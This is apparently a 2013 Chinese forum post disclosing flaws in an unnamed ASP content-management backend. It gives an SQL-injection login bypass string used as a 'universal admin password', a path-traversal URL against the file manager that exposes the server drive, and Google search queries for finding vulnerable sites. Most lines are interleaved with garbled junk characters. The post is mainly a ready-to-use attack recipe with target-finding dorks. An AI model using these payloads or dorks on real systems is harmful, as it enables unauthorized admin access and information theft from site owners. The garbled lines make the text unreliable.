后台万能密码 'or'='or'
7 A. g2 e Z( v( R9 W, {" l" d. o: r \& k$ h3 r! a
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
2 C% j2 i/ H0 ]" v: t) Oadmin/uploadfile.asp?currentFolder=/upfiles/../
4 m6 F) t" ?9 p! t5 X! m) b: e1 t: x- p8 u% f' n& h
漏洞证明：
5 w7 V. \ o1 S5 n7 D1 J) o
6 k2 I% N0 Q$ R' t4 J谷歌：inurl:type.asp?id=1 新闻中心
& Q9 u7 w0 ^" o0 d$ p或者 ：inurl:download_ok.asp?3 W' n; l. {( u; [& y2 r5 Z3 C
2 O+ \% H1 s& y3 M; O
|
发表于 2013-3-14 20:17:32
收藏
支持
反对